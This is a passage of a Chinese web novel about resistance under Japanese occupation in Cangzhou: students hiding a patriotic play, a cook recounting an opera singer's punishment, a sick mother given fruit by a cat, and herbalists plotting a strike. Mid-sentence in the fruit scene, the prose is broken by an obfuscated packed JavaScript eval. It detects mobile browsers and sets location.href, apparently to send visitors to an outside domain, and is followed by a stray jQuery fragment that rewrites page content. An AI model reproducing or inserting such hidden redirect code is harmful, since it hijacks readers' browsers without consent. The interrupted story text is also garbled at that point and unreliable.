学生们也瞬间噤声,像被按下暂停键的留声机一样。
穿黑绸衫的校工出现在走廊尽头,怀表链子缠着三根日本金蝙蝠香烟。
方才还闹腾的男生们默契地围成人墙,挡住病床上未藏妥的台词纸。
林卓拍拍手里的糕饼渣子,看着走近的黑绸衫,眼神冰冷,她现在也能判断了,这个人必然是稽查队一类的东西。
暮色将走廊的石板染成了铁锈色,校工的老北京布鞋无声地踏过光影。
他搓着檀木手串立在门边,枣红脸膛堆满褶子,笑容满面。
“瞧瞧,天热得邪乎!听说中暑了?
厨房刚巧熬了绿豆汤,这就给孩子们送来了。”尾音黏腻得如糖稀,却无人接话。
学生们齐刷刷埋首铜盆,洗手的,洗脸的,拧湿毛巾的声音此起彼伏。
演单于的男生把整张脸埋进了凉水里,吹着气泡咕嘟咕嘟直响。脸上的油彩化了,在盆底晕成了彩色漩涡。
穿月白旗袍的女生用毛巾角慢慢擦着脖颈,铜铃耳坠却颤得厉害。
外教毕启牧师的金丝眼镜闪过冷光,他单手按住《圣经》,指节叩击处正是《箴言》第28章:“恶人虽无人追赶也逃跑。”
叩击声里,不知为何,校工额角的细汗汇成一道溪,滴进领口。
“明天日落前,”毕启怪声怪调地说:“我要看到小操场的柏树枝凉棚。”
“是,是,是。”校工一面倒退,一边接连应着,险些撞到门上。
学生们个个冷着脸收拾戏服,月白旗袍女生的指尖有些轻颤,像在害怕着什么,苏武的旌节被拆成竹篾塞进了书包里,匈奴帽的狼牙坠子攥进汗湿的掌心。
一个穿浅蓝旗袍的姑娘落在最后,自然地弯腰系鞋带,她迅速将台词纸团塞进圣母像底座的裂缝里。
片刻,走廊重归寂静,林卓发现某只铜盆底黏着片靛蓝绸布。
捡起对着阳光细看,是满江红的词。
耳边隐约听见隔壁院子小操场上,似是校工正抡锤砸桩,一声声的闷响惊起老槐树上的麻雀。
伴着一群回巢的鸟,林卓抱着两个大碗去食堂,她边走边琢磨着。
今天的晚饭是高粱米水饭,这是个费功夫的饭,又是泡又是煮最后还要过水,夏天消暑是极好的。
林卓盛了一大碗高粱米水饭,又盛了一碗黄瓜汤,
她先喝了口黄瓜汤,口感鲜甜,非常好喝,她连喝了好几口。
有些满意地眯上眼睛看窗外,小食堂还是比外面凉快一些的。
夕阳将食堂里的榆大木桌染成暗棕色,于嫂捧着一个搪瓷碗坐了过来。
林卓轻声问:“于大姑,下午那些学生的台词,是有什么问题吗?为什么呀?又和日本人有关。”
于嫂抬眼看这个姑娘,有时这孩子真是神经粗得吓人,她好像脑子没日本人那根弦。
于嫂沉吟一下,抬眼看到墙上撕得只剩半张的《沧州日报》。
对林卓一摆头说:“看那,报纸上。”
林卓转头,有些发黑的墙上,贴着一张报纸,报纸上油墨斑驳的“严惩造谣者”标题下,隐约可见“戏班”二字,不过被苍蝇血糊上了点点黑痂。
于嫂的竹筷插进高粱饭里,呼呼地扒拉两口凉凉的水饭。
窗外槐树在风中沙沙响动,她的脸色似乎埋进了阴影里。
“今天的二月初八,庆云楼里。”
于嫂的声音压得很低沉“唱须生的程老板因为唱了那句‘壮志饥餐胡虏肉’被汉奸揭发,说是胡、蛮、夷是影射外族,影射日本人。”
她咬咬牙:“当晚被宪兵队抓走,抽了三鞭子,抽在后脊梁骨上。”
林卓正喝黄瓜汤,差点喷出来,汤面倒映出她抽搐的嘴角。
“隔天《晨钟报》头版登了幅画。”
于嫂叹息着说:“上面配文是:汉奸跪着给东洋人舔皮靴,靴底踩着《满江红》词谱。”
于嫂沉默下来,又扒了两口水饭接着说“次日,报纸就登了,记者突发急病逝世的讣告。”
她舌尖抵住上颚的溃疡,咸腥味提醒着她,六个月前,同样的位置,当她拿到报纸时,只半个时辰,嘴角,嘴里起了一圈的泡。
她似无所觉,只沉默地扒饭。
林卓吃不下了,胸口又开始憋闷,不知为何,竟然眼睛有些发湿,半晌她恨恨地说:“这是恐怖主义,这是文字狱,国民政府死了吗,其他人呢,没人吭声吗?”
于嫂只沉默地扒饭。
沉默的暮色忽然被挎斗摩托车的轰鸣声撕碎。
于嫂瞬间挺直脊背,将腌萝卜嚼得咯吱咯吱响,直到宪兵队的边三轮掠过医院铁门。
“如今戏园子唱《四郎探母》,”于嫂突然又开口了。
手里的勺子在碗底刮出的金属声刺着耳朵,“杨四郎跪老娘那段,班主都给改成跪东邻大舅。”
林卓胸中憋着一口气,她长长地吐气,也没吐出来,那口气仍然在胸口压着。
她抬着脑袋眼睛看着上方的虚空,忽然看见食堂梁柱上好像有鸟窝。
在屋里做窝的,是燕子吧!她默默想着。
是夜,明亮的月光下,一只大猫不紧不慢地走在卫河边,走到一个歪斜的船屋前停下,而后轻巧的跃起落在晒起皮的船板上,船屋里传出一声接着一声的咳嗽。
咳嗽声压得很低,低到下一刻像是要没了气一样。
大黄扔下嘴里的李子,前爪勾住,往船屋里甩过去,只听“咚”的一声,不知是落到哪里了。
里面的咳嗽突然剧烈起来,声音越来越大,像是要把肺咳出来一样。
大黄弹弹耳朵,转身跳回岸上,不紧不慢地走了。
船屋里,大丫也被咳嗽声惊醒,她迷迷糊糊地爬起来,摸黑往屋门口爬,门边的架子上有碗,她要倒水给娘喝。
没爬两步就摸到一个圆溜溜的东西,一股鲜果子的清香传进鼻子,
大丫小小的奶音“咦”了一声。
她两只小手捧了起来,放到鼻子上闻着,闻着、闻着,有水渍从嘴角耷拉下来了。
她抬起胳膊蹭了蹭嘴角,转身朝里间去,说是里间,就是隔了一条麻布帘子。
她娘怕传染给她,一个月前就让她自己一个人在外间睡了。
大丫用脑袋顶开帘子,看见娘正趴在窗户上往外吐,窗户早就没了窗户纸,吐起来也方便。
大丫扬着小奶音说:“娘,有果子,吃果子。”
她娘喘息着微微回头,这样趴着的姿势她感觉喘气顺一些,就没动,声音虚弱地问:“哪来的果子,大丫?你刚又跑出去了?”
大丫连忙摇头:“没有,大丫没跑出去,就有个果子,娘!”
她声音突然高亢起来:“是城隍爷给的,是城隍爷给娘的。”她兴奋的跳了一小下。
眼睛瞪得溜圆,凑到她娘身边,往前塞果子兴奋地说:“娘快吃,快吃,城隍爷给的。”
大丫的娘叫杨引娣,才十九岁,正是因为年轻,这肺病拖了两个月了,人还没倒下。
今晚的月光很亮,杨引娣拿着鲜果子握了一手,竟比鸡蛋还大些,颜色青绿青绿的。
先闻了闻,青新之气直冲鼻腔,忍不住直接啃了一口,酸汁在嘴里炸开了,大丫看她娘的表情,也禁不住抖着小肩膀,噘起嘴。
清新的果子香冲散了船屋内的闷热。
杨引娣一边酸得直抖,一边还忍不住地啃,清凉的果子汁水滑进喉咙滑进胃里,她都没意识到,她啃果子的这会工夫,完全没咳嗽。
大丫在旁边看着,也跟着一边抖着小身板,一边流口水,杨引娣啃得投入,似是忘记了小女儿。
鸡蛋大的果子,她啃得仔细,一会工夫才啃了一半,也是因为太酸了,一次只咬一点。
肺里化不开的闷似乎减轻了一些,她长长地吸气。
看见小女儿,吞着口水看着她,顿觉心疼,暗骂自己:“怎得这般没出息,把孩子忘了。”
她连忙在枕头下摸,摸出一把小刀,小心地切下没咬的那边,递给大丫。
大丫晃晃小脑袋,包着一嘴的口水,含糊不清地说:“娘吃,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871560|176233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大丫不吃。”
杨引娣想笑又想哭,语气却不咋好:“快吃,吃完去睡觉。”
大丫乖巧地接过,迫不及待地放嘴里啃上了。
一时间娘俩都是酸得抽抽脸,面面相对,忍不住笑了起来。
月光洒在歪斜的船屋上,远处传来“笃——笃——”的两声梆子响,此时二更了。
岸边草丛深处,隐约有叽喳声,里面有一窝小鸟,个个都有大丫拳头那么大,在里面挤挤嚓嚓,很是热闹。
五里外的码头早已挂上了灯笼,来来往往的汉子,每人都扛着一个大包,走一趟心里算计一回,这次多几个铜板。
一队宪兵持枪站在码头边,嘴里的火光一闪闪,潮湿的空气弥漫着烟味。
“笃——笃——笃——”短促的梆子声,穿透潮湿的夜气。
子时三更
林氏医馆后院的青砖地上浮着一层薄雾,月光从龟背竹的裂叶间漏下来,在《本草纲目》手抄本上投下一片细碎的影子。
十七张榆木交椅围成半圆,椅背雕着褪色的百草纹——当归缠着断肠草,白芷压着曼陀罗,暗夜里像群蛇绞缠在一起。
林远志蜷在东北角的阴影里,食指无意识地摩挲着黄铜药匙。
钥匙齿卡进虎口旧疤,疼得他太阳穴一跳——那是七岁那年自己调皮熬药时的烧伤。
八仙桌上的桐油灯突然爆了个灯花,火苗舔上悬在梁间的药王幡,孙思邈的绣像在青烟里忽明忽暗,恍若垂目叹息。
檐角铁马“叮”地一颤。
十七道黑影贴着墙根游进来,鸦青大褂下露出半截赭色衣摆——那是沧州药行罢市者的暗号。
皆用决明子染过,灯下一照便泛出金棕色纹路。
最前头的老者摘下风帽,露出一张微黄的脸,袖口滑出半块砭石:“林少爷,昨夜回春堂被抄了。”
林远志猛地攥紧药匙,青瓷胆瓶里泡的蛇床子跟着晃出一圈涟漪。
他嗅到风里混进一丝熟地黄的微甜。
“人齐了。”他哑着嗓子说,灯影在喉结上切出一道暗线。
“林掌柜,十七家都到了。”保和堂余先生先开了口。
他身旁是个戴铜框眼镜的年轻掌柜,长衫下摆湿嗒嗒,他是今夜刚从子牙河偷偷上岸的。
角落里缩着个抽旱烟的老者,烟斗上的火星忽明忽灭。
林远志突然掀开密室中央的樟木药柜,腐臭扑面。
三具穿和服的尸体蜷缩其中,咽喉皆插着林家祖传的砭石针。“昨夜他们来搜父亲的接骨方,我用了‘鬼门十三针’,送他们见了阎王。”
保和堂的东家颤抖着去摸尸体的枪套,却被林远志按住:“子弹早卸了。这是林家二十七代人的药方。”
林远志将一叠宣纸扔进火盆,火舌卷起“续命还魂散”的字样。
“家父说过,宁化青烟,不饲豺狼。”火光映得他眼瞳赤红,仿佛看见七日前父亲被忍者围杀在运河码头。
角落里突然爆出呜咽。
陶仁堂的陶掌柜攥袖子哭道:“我家的《瘟疫论》孤本也被他们抢去了!”
众人沉默间,窗框突然震颤——远远传来装甲车的轰鸣声。
“现在退出还来得及。”
林远志抛出一把铜钥匙,“出了门,穿过巷子,通着教会医院后门,美国人运尸车卯时出发。”
他故意背对众人擦拭着手里的药匙,耳畔捕捉着每一道呼吸频率。
年轻掌柜嘴唇动了动,目光在钥匙与尸体间游移。
突然,万金堂的陈老太爷拐杖重重杵地:“我祖爷爷给僧格林沁治过箭伤!林小子,你说怎么干!”
老人口袋里装着半块茯苓饼——那是他给关东军司令配药时偷藏的砒霜。
子时末,林远志割破掌心,将血滴入祖传药臼。
众人依次歃血,药杵捣击声里混着运河涛声。“明日辰时三刻,全城药铺闭门挂幡。”
他展开父亲的手书,血字在火光中狰狞如符:——若逢豺狼叩门,当归、独活、血竭三味,可配夺命汤。